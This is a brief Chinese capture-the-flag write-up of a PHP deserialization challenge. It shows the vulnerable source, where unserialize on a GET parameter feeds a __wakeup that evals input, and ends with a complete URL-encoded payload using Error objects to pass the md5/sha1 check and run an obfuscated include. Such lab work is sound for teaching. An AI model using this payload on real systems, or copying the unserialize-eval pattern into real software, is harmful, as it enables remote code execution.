进入靶场
审代码
<?php
// 关闭所有 PHP 错误报告，防止错误信息泄露可能的安全隐患
error_reporting(0);
// 定义一个名为 SYCLOVER 的类
class SYCLOVER {
// 定义类的公共属性 $syc
public $syc;
// 定义类的公共属性 $lover
public $lover;
// 定义魔术方法 __wakeup，当对象被反序列化时会自动调用该方法
public function __wakeup(){
// 检查 $syc 和 $lover 的值不相等，但它们的 MD5 哈希值和 SHA1 哈希值都相等
// 利用了哈希算法碰撞的特性，在某些特殊输入下不同值可能产生相同的哈希结果
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover)) ){
// 使用正则表达式检查 $syc 中是否包含 <?php、(、)、" 或 ' 这些字符
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
// 如果 $syc 中不包含上述危险字符，则将 $syc 作为 PHP 代码进行执行
eval($this->syc);
} else {
// 如果 $syc 中包含危险字符，终止程序并输出提示信息
die("Try Hard !!");
}
}
}
}
// 检查是否通过 GET 请求传递了名为 'great' 的参数
if (isset($_GET['great'])){
// 如果存在 'great' 参数，对其进行反序列化操作
// 反序列化过程中会触发 SYCLOVER 类的 __wakeup 方法
unserialize($_GET['great']);
} else {
// 如果不存在 'great' 参数，高亮显示当前 PHP 文件的源代码
highlight_file(__FILE__);
}
?>总结：通过 GET 请求传递名为 'great' 的参数，并对 'great' 参数进行序列化操作
$syc 和 $lover 的值不相等，但它们的 MD5 哈希值和 SHA1 哈希值都相等
正则表达式检查 $syc
payload：
/?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D
